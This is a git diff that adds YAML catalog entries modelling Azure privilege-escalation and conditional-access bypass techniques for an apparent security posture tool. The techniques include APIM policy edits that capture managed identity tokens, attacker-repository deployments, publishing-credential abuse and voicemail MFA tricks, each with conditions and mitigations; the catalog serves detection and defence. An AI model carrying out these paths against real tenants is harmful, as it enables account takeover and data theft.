src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#locations-countries-ip-ranges---device-condition + technique: 'Locations: Countries, IP ranges - Device Condition' + source_revision: a66f094ede + reason: Connects through a VPN/proxy in an allowed country or from an allowed/trusted IP to satisfy or fall outside a network-location + CA condition, bypassing location-gated controls (including MFA/block). The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#cloud-apps + technique: Cloud Apps + source_revision: a66f094ede + reason: Finds an application not covered (or excluded) by the MFA/block CA policy and authenticates to it single-factor, then abuses + that app/token to escalate — AzureAppsSweep tests 400+ apps across seven resource URIs to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#ring-tone + technique: Ring tone + source_revision: a66f094ede + reason: 'Abuses phone-call MFA (confirm by pressing #) by planting the confirmation tone in a compromised voicemail greeting and forcing + the call to voicemail, satisfying the MFA challenge — a legacy,…. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#compliant-devices + technique: Compliant Devices + source_revision: a66f094ede + reason: Registers and Intune-enrolls a device so it is reported compliant, then obtains and inspects a PRT to satisfy a compliant-device + grant control; note a PRT does not universally bypass MFA (MFA claims are imprinted…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#macos-shell-scripts-as-root--win32-apps-as-system + technique: macOS shell scripts as root / Win32 apps as SYSTEM + source_revision: a66f094ede + reason: Device code execution is modelled by azure-intune-managed-device-user-code-execution; reaching a Global Administrator additionally + requires that privileged user to sign into the compromised device. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#privesc-chain--intune-administrator--intune-scoped-sp---global-admin + technique: Privesc chain — Intune Administrator / Intune-scoped SP -> Global Admin + source_revision: a66f094ede + reason: Device code execution is modelled by azure-intune-managed-device-user-code-execution; reaching a Global Administrator additionally + requires that privileged user to sign into the compromised device. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#enumerate-jobs + technique: Enumerate jobs + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + reason: Lists visible completed transcription jobs and exposes their UUIDs and files links (but not transcript content, and job metadata + omits the original audio contentUrls), providing the UUIDs required to target the files…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#recover-transcript-files + technique: Recover transcript files + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + reason: Returns file metadata and a signed contentUrl for a known job and downloads the private transcript JSON/report; cannot list + jobs on its own, so it is chained after job enumeration or a leaked UUID Request the file…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml new file mode 100644 index 0000000000..51d4de3685 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml @@ -0,0 +1,131 @@ +# catalog_description: These ARM actions create an escalation edge only when +# unique reviewed evidence binds the exact adjacent-plane principal, usable +# credential or grant, prior denial, and newly allowed action. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-apim-developer-portal-sso-external-principal + provider: azure + service: api_management + title: Sign in as one named API Management developer-portal user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceusersgeneratessourlaction + source_revision: db5b136660 + summary: A generated SSO URL can reach the exact requested portal user only when its token is usable and newly grants a named portal or subscription action. + requires: + all_of: + - action: Microsoft.ApiManagement/service/users/generateSsoUrl/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: apim_developer_portal + scope: inherited_scope + outcome: credentials + aggregate_as: Exact API Management developer-portal user reached by SSO URL + conditions: + - id: exact_portal_user_sso + description: Reviewed evidence must bind the requested users resource, returned usable SSO token, authenticated portal user, prior denial, and newly allowed portal or API-subscription action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict users/generateSsoUrl/action and audit developer-portal SSO URL generation. + references: + - https://learn.microsoft.com/en-us/rest/api/apimanagement/user/generate-sso-url + notes: The portal user is an adjacent-plane identity; generating a URL without observed authentication and new authority emits no path. The separate users/token/action returns a shared-access token for portal SSO. + +- id: azure-apim-developer-portal-shared-token-external-principal + provider: azure + service: api_management + title: Sign in as one named developer-portal user with a shared token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction + source_revision: db5b136660 + summary: A user shared-access token can reach the exact requested portal user only when reviewed evidence shows a usable sign-in and a newly allowed action. + requires: + all_of: + - action: Microsoft.ApiManagement/service/users/token/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: apim_developer_portal + scope: inherited_scope + outcome: credentials + aggregate_as: Exact API Management developer-portal user reached by shared token + conditions: + - id: exact_portal_user_shared_token + description: Reviewed evidence must bind the requested user, developer portal, returned usable token, authenticated portal user, prior denial, and newly allowed portal or API-subscription action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict users/token/action and audit developer-portal user-token generation. + references: + - https://learn.microsoft.com/en-us/rest/api/apimanagement/user/get-shared-access-token + - https://learn.microsoft.com/en-us/azure/api-management/developer-portal-faq + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-setup-delegation + notes: The token operation is separate from generateSsoUrl/action. Microsoft documents shared-token sign-in for self-hosted portals and delegated sign-in to managed portals. Without reviewed proof that the portal accepted it for the named user and granted a new action, no path is emitted. + +- id: azure-datafactory-github-oauth-external-principal + provider: azure + service: data_factory + title: Exchange a supplied GitHub authorization code through Data Factory + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#exchange-a-supplied-github-authorization-code-with-factoriesgetgithubaccesstokenaction + source_revision: a9948bc18d + summary: A supplied GitHub authorization code can be exchanged through the factory action; a path exists only when its returned token grants a new action to an exact GitHub subject and repository. + requires: + all_of: + - action: Microsoft.DataFactory/factories/getGitHubAccessToken/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: github_repository + scope: inherited_scope + outcome: credentials + aggregate_as: Exact GitHub repository principal reached through factory OAuth + conditions: + - id: exact_github_subject_and_repository_authority + description: Reviewed evidence must bind a supplied GitHub authorization code, exact factory response token, authenticated GitHub subject and repository, prior denial, and newly allowed repository action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict getGitHubAccessToken/action and protect GitHub authorization codes and app credentials. + references: + - https://learn.microsoft.com/en-us/rest/api/datafactory/factories/get-git-hub-access-token + notes: The API requires a caller-supplied GitHub authorization code and token base URL. Permission alone cannot retrieve a configured factory credential. A token-shaped value or configured Git repository does not establish GitHub authority. + +- id: azure-eventgrid-mqtt-client-grant-external-principal + provider: azure + service: event_grid + title: Give an attacker-owned MQTT client new topic publish or subscribe authority + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#backdoor-mqtt-client-via-namespacesclients--clientgroups--permissionbindingswrite + source_revision: 01399090fa + summary: Creating or updating a permission binding for a client group containing an attacker-owned MQTT client can give its usable credential a new broker action. + requires: + all_of: + - action: Microsoft.EventGrid/namespaces/permissionBindings/write + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: eventgrid_mqtt + scope: inherited_scope + outcome: identity + aggregate_as: Exact MQTT client with reviewed new topic authority + conditions: + - id: exact_mqtt_client_group_binding_and_credential + description: Reviewed evidence must bind the owned client and usable credential to the exact namespace, matching client group, permission binding, topic space, prior denial, and newly allowed publish or subscribe action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Event Grid namespace client, group, and permission-binding writes; review newly registered MQTT clients. + references: + - https://learn.microsoft.com/en-us/azure/event-grid/mqtt-overview + - https://learn.microsoft.com/en-us/rest/api/eventgrid/controlplane/permission-bindings/create-or-update?view=rest-eventgrid-controlplane-2025-02-15 + - https://learn.microsoft.com/en-us/azure/event-grid/mqtt-client-groups + notes: The typed proof requires a successful new MQTT authorization with the exact owned client, matching client group, binding, topic space and Publisher or Subscriber action. Existing clients and groups are valid; creating new ones also requires their respective write permissions, but successful reviewed evidence proves that step when used. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml new file mode 100644 index 0000000000..6baf743ffd --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml @@ -0,0 +1,41 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Analysis Services techniques (declarative only). +# Source: hacktricks-cloud az-analysis-services-privesc.md (rev db5b136660). + +- id: azure-analysisservices-server-admin-write + provider: azure + service: analysis_services + title: Add a principal to the Analysis Services server administrators + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#server-admin-self-add--full-model-exfil-marquee + source_revision: db5b136660 + summary: The source can add a controlled login-capable tenant principal to the server administrators and thereby gain administrative access to hosted models. + requires: + all_of: + - action: Microsoft.AnalysisServices/servers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Analysis Services server admins of {target.scope}" + conditions: + - id: controlled_login_capable_tenant_principal + description: The source must control a user or service principal in the server tenant that can sign in to Analysis Services; a managed identity cannot sign in to the service. + - id: network_reachable + description: The server firewall must allow the source (servers/write can also change it). + - id: server_active_or_resumable + description: A paused or suspended server must be resumed before its models can be accessed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict servers/write and monitor changes to asAdministrators. + references: + - https://learn.microsoft.com/en-us/rest/api/analysisservices/servers/update + - https://learn.microsoft.com/en-us/azure/analysis-services/analysis-services-server-admins + notes: The ARM write grants the ability to change asAdministrators on the exact server. The target is server-level data-plane administration, not observed access to any particular model. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/api_management.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/api_management.yaml new file mode 100644 index 0000000000..fff2ca79ed --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/api_management.yaml @@ -0,0 +1,112 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure API Management techniques (declarative only). +# Source: hacktricks-cloud az-api-management-privesc.md (rev 171e422, re-verified). + +- id: azure-apim-policy-write-managed-identity-token + provider: azure + service: api_management + title: Edit an APIM policy to obtain the instance managed identity token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--steal-the-apim-managed-identity-token + source_revision: 171e422 + summary: The source can obtain the privileges of the system-assigned and user-assigned managed identities attached to the API Management instance. + requires: + all_of: [] + any_of: + - - action: Microsoft.ApiManagement/service/policies/write + scope: '{target.host_resource}' + - - action: Microsoft.ApiManagement/service/apis/policies/write + scope: '{target.apim_api_policy_resource}' + - - action: Microsoft.ApiManagement/service/apis/operations/policies/write + scope: '{target.apim_operation_policy_resource}' + - - action: Microsoft.ApiManagement/service/products/policies/write + scope: '{target.apim_product_policy_resource}' + - - action: Microsoft.ApiManagement/service/apis/write + scope: '{target.apim_api_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + scope: inherited_scope + aggregate_as: Identities of API Management instance {target.host_resource} + conditions: + - id: request_reaches_policy + description: The edited policy runs only when a request reaches the gateway for an API in that policy scope (any caller's traffic for a global policy; for a product or API policy, an API the source can call, which may need a subscription key). + - id: gateway_network_reachable + description: Exfiltrating the token needs outbound access from the gateway to a source-controlled endpoint, or a response the source can read. Internal VNet deployments can limit this. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict APIM policy write and apis/write (API Management Service Contributor and custom roles) to trusted administrators. Give APIM-attached identities only the roles the backends need, and alert on policy changes that add authentication-managed-identity. + references: + - https://learn.microsoft.com/en-us/azure/api-management/authentication-managed-identity-policy + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-use-managed-service-identity#security-considerations-for-managed-identities + notes: Microsoft documents that policy editors (apis/write or apis/policies/write, or API Management Service Contributor) can authenticate as the service's managed identity through the authentication-managed-identity policy. They can then capture the token in a variable, forward it or log it. The policy can request a token for any resource audience (ARM, Graph, Key Vault, Storage). It selects any attached user-assigned identity by client-id. API, operation and product write grants are checked at their assigned child scope as well as the service; actual policy execution and token delivery remain conditional. Managed identities are not available in APIM workspaces, so workspace policy write is not included. + +- id: azure-apim-restore-backup-managed-identity-token + provider: azure + service: api_management + title: Restore a valid backup containing a controlled APIM policy + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackupaction--full-service-exfiltration-to-attacker-storage + source_revision: db5b136660 + summary: Restoring a valid APIM backup containing a controlled policy may let that policy use an identity attached to the target service. + requires: + all_of: + - action: Microsoft.ApiManagement/service/restore/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + azure_apim_restorable_backup: true + scope: inherited_scope + aggregate_as: "Managed identities of API Management service {target.host_resource}" + conditions: + - id: restorable_backup + description: Reviewed evidence must bind a valid APIM-created backup under 30 days old, compatible target tier, usable storage access, and a controlled identity-using policy to this target service. + - id: identities_kept + description: The controlled policy must select the exact attached system or user-assigned identity, and a request must run it and deliver the token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict service/restore/action (API Management Service Contributor) and alert on restore operations. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-disaster-recovery-backup-restore + notes: Azure restores APIM-created backups; an arbitrary edited blob is not established as restorable. Managed identity configuration is not backed up, so the target's current attached identity must match the restored policy. Missing reviewed backup evidence emits no named identity path. + +- id: azure-apim-gateway-config-credential + provider: azure + service: api_management + title: APIM gateway configuration embedded credentials + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewaysgetconfigurationaction--bulk-policysecret-pull-data-action-bypasses-the-administrative-log + source_revision: db5b136660 + summary: Read a verified usable credential from self-hosted gateway configuration and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.ApiManagement/service/gateways/getConfiguration/action + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.ApiManagement/service + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + - id: gateway_assignment + description: Reviewed evidence must identify the exact gateway resource and confirm the usable credential was present in configuration returned for that gateway. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/api-management/self-hosted-gateway-overview + notes: Only an exact, usable credential mapped to a named Entra service principal and present in the returned configuration of one identified gateway by reviewed azure_privesc_challenge_evidence creates a path; missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/app_configuration.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/app_configuration.yaml new file mode 100644 index 0000000000..c2940ead37 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/app_configuration.yaml @@ -0,0 +1,36 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-appconfig-snapshot-credential + provider: azure + service: app_configuration + title: Recover credentials retained in App Configuration snapshot + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#bulk-exfil--loot-persistence-via-snapshots-configurationstoressnapshotsread--write + source_revision: 658a097d5c + summary: Read a verified usable Entra client secret from a named, readable App Configuration snapshot and gain that service principal's permissions. + requires: + all_of: + - action: Microsoft.AppConfiguration/configurationStores/snapshots/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.AppConfiguration/configurationStores + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only an exact service-principal client secret verified in the returned content of a named snapshot creates this edge; the secret must still be usable. + - id: snapshot_access + description: The named snapshot must already exist and return the credential-bearing content; creating a new snapshot additionally needs keyValues/read and snapshots/write. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/azure-app-configuration/concept-snapshots + notes: Reviewed azure_privesc_challenge_evidence must bind SnapshotName, SnapshotContentReadVerified, CredentialInSnapshotVerified, and SnapshotContentEvidenceRef to the same store and exact service principal. Missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/app_services.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/app_services.yaml new file mode 100644 index 0000000000..1de61d8b52 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/app_services.yaml @@ -0,0 +1,413 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure App Service (Microsoft.Web/sites) privilege escalation techniques. +# Applies to Web Apps AND Function Apps (both are Microsoft.Web/sites); Function-only techniques live in functions.yaml. +# Source: hacktricks-cloud az-app-services-privesc.md and az-functions-app-privesc.md (rev 171e422, re-verified). +# Placeholder conventions: see catalog/azure/authorization.yaml header. +# Deployment slots (Microsoft.Web/sites/slots) have their own managed identity configuration and their own +# RBAC actions; they are modelled separately in azure-appservice-slot-code-execution. + +- id: azure-appservice-kudu-publish-action + provider: azure + service: app_services + title: Use the Kudu/SCM API with Entra credentials to run commands in the app + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitespublishaction-and-microsoftwebsitesslotspublishaction + source_revision: 171e422 + summary: Microsoft.Web/sites/publish/action may allow code deployment or access to the running app container through the exact app's SCM endpoint, exposing its managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/publish/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_kudu_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: scm_network_access + description: SCM site access restrictions / private endpoints may require network reachability. + - id: app_code_execution + description: Kudu access must allow code to run in the app context; Linux Kudu commands run in a separate container unless the main app container is targeted. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/publish/action (Website Contributor, Contributor), restrict SCM site network access, and keep app identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/app-service/resources-kudu + notes: Linux Function Apps on Consumption and Flex plans lack Advanced Tools; a stopped app also needs a start route. Publish permission on another host of the same managed identity cannot satisfy this path. Kudu reachability and code execution remain conditional. + +- id: azure-appservice-publishing-credentials-enable-basic-auth + provider: azure + service: app_services + title: Obtain SCM/FTP publishing credentials and enable basic auth to deploy code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#obtaining-scm-credentials--enabling-basic-authentication + source_revision: 171e422 + summary: Reading an app's publishing credentials and enabling its SCM basic auth policy may allow deployment of code that runs as that app's managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/basicPublishingCredentialsPolicies/write + any_of: + - - action: Microsoft.Web/sites/publishxml/action + - - action: Microsoft.Web/sites/config/list/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_enable_publishing_credentials_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: policy_change_and_scm_code_execution + description: The SCM policy change must be allowed, the endpoint must be reachable, and a valid package must run in the app context. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Keep SCM/FTP basic authentication disabled (enforce with Azure Policy) and restrict publishxml/config list and basicPublishingCredentialsPolicies/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + - https://learn.microsoft.com/en-us/azure/app-service/deploy-configure-credentials + notes: Requires basicPublishingCredentialsPolicies/write on the exact site's scm child, plus publishxml or config/list on that same app. If SCM basic auth is already enabled, the separate publishing-credentials entry covers that path. FTP policy alone cannot enable SCM deployment. Custom container execution remains unresolved. + +- id: azure-appservice-publishing-credentials-basic-auth-enabled + provider: azure + service: app_services + title: Obtain SCM/FTP publishing credentials when basic auth is already enabled + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#publish-code-using-scm-credentials + source_revision: 171e422 + summary: With SCM basic auth allowed on the exact code app, access to its publishing credentials may allow deployment of code that runs as the app's managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/publishxml/action + - - action: Microsoft.Web/sites/config/list/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_publishing_credentials_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: scm_reachability_and_package_execution + description: The source must reach the SCM endpoint, deploy a valid package, and have it run in the app context. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Disable SCM and FTP basic authentication and restrict publishxml/config list. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + notes: The selector requires SCM basicPublishingCredentialsPolicies allow=true on the same app as the identity; FTP policy alone does not authorize SCM deployment. Custom container execution remains unresolved. config/list/action also returns app settings/connection strings (data exposure, not modelled). + +- id: azure-appservice-sourcecontrols-write + provider: azure + service: app_services + title: Redirect App Service deployment to an attacker repository + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessourcecontrolswrite-and-microsoftwebsitesslotssourcecontrolswrite + source_revision: 171e422 + summary: Pointing the app's source control at an attacker repository deploys attacker code that runs with the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/sourcecontrols/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_sourcecontrol_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: build_succeeds + description: The deployment/build must succeed for the code to run. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict sourcecontrols/write and monitor deployment source changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-continuous-deployment + notes: The selector binds sourcecontrols/web write to the exact identity app and checks the app's runtime kind and stopped state. Container-image deployments remain unresolved. This also covers the "Change GitHub repo" technique on the Function App page. + +- id: azure-appservice-sitecontainers-write + provider: azure + service: app_services + title: Replace an App Service sidecar/main SiteContainer image + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessitecontainerswrite-and-microsoftwebsitesslotssitecontainerswrite + source_revision: 171e422 + summary: Writing a main or sidecar SiteContainer on a Linux app in SiteContainers mode may run attacker code alongside the app and expose its managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/sitecontainers/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_sitecontainers_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: image_run_and_identity_access + description: An attacker image must be pulled and run in the app environment, and its container must be able to use the attached managed identity endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict sitecontainers/write and enforce trusted registries. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-sidecar + notes: Require LinuxFxVersion=sitecontainers on the exact app carrying the target identity and write on a child of that app. Existing child-scoped grants are included. Classic DOCKER mode does not load SiteContainer children without a separate mode change; a sidecar in SiteContainers mode can share the app environment. + +- id: azure-appservice-config-write + provider: azure + service: app_services + title: Change app configuration to load attacker code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigwrite + source_revision: 171e422 + summary: A write to the exact app's configuration can replace its startup command, container, or supported package and may run code with its attached managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/config/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_config_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: app_runtime_execution + description: The changed configuration must cause attacker code to run; app state, package compatibility, and token use remain conditional. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/config/write (Website Contributor, Contributor) and alert on appsettings/container/startup command changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-common + - https://learn.microsoft.com/en-us/azure/azure-functions/run-functions-from-deployment-package + notes: Check config/write on the exact app's config/web or config/appsettings child. Linux apps can use a direct startup command; Windows containers can replace their image. Function package URLs are plan-dependent, and Flex Consumption does not support WEBSITE_RUN_FROM_PACKAGE. Remote debugging alone does not prove code execution. + +- id: azure-appservice-siteextensions-write + provider: azure + service: app_services + title: Install an attacker NuGet site extension + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessiteextensionswrite--attacker-nuget-site-extension + source_revision: 171e422 + summary: Installing an attacker-controlled site extension on the exact Windows code app may change content the app runs and expose its attached managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/siteextensions/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_siteextensions_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: attacker_package_and_app_code_execution + description: The site extension feed must provide the attacker package, its install must succeed, and the app must run modified content with its managed identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict siteextensions/write. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/install-site-extension + - https://github.com/projectkudu/kudu/wiki/Azure-Site-Extensions + notes: Require siteextensions/write on a selectable child of the exact Windows code app carrying the identity. A grant limited to one named extension stays unresolved without evidence that the source controls that package. The Kudu install script alone does not prove execution as the app identity; it must alter content the main app runs. + +- id: azure-appservice-onedeploy-extensions-write + provider: azure + service: app_services + title: Replace app content through the OneDeploy extension route + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesextensionswrite--onedeploy-zip-replacement + source_revision: 171e422 + summary: Microsoft.Web/sites/extensions/write on the exact onedeploy child can replace a code app's package and may run it with the app's managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/extensions/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_onedeploy_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: package_deployment_and_execution + description: The package must be reachable, valid for the app, deployed successfully, and run in the app context. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/extensions/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-zip + - https://learn.microsoft.com/en-us/azure/azure-functions/functions-infrastructure-as-code + notes: Require extensions/write on the exact site's extensions/onedeploy child. Flex Consumption Function Apps support this ARM package path. A custom container may not execute files deployed to its content share, and a stopped app needs a start route before code runs. + +- id: azure-appservice-restore-from-backup-blob + provider: azure + service: app_services + title: Restore the app from an attacker-supplied backup + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesrestorefrombackupblobaction--restore-an-attacker-backup + source_revision: 171e422 + summary: Restoring a valid attacker-controlled backup to a supported code app may replace its content and run code with its attached managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/restoreFromBackupBlob/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_backup_restore_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: compatible_attacker_backup_and_sas + description: A valid backup of the same OS, accessible through a usable container SAS, must restore successfully with overwrite enabled and run code in the app. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict restoreFromBackupBlob/action. + references: + - 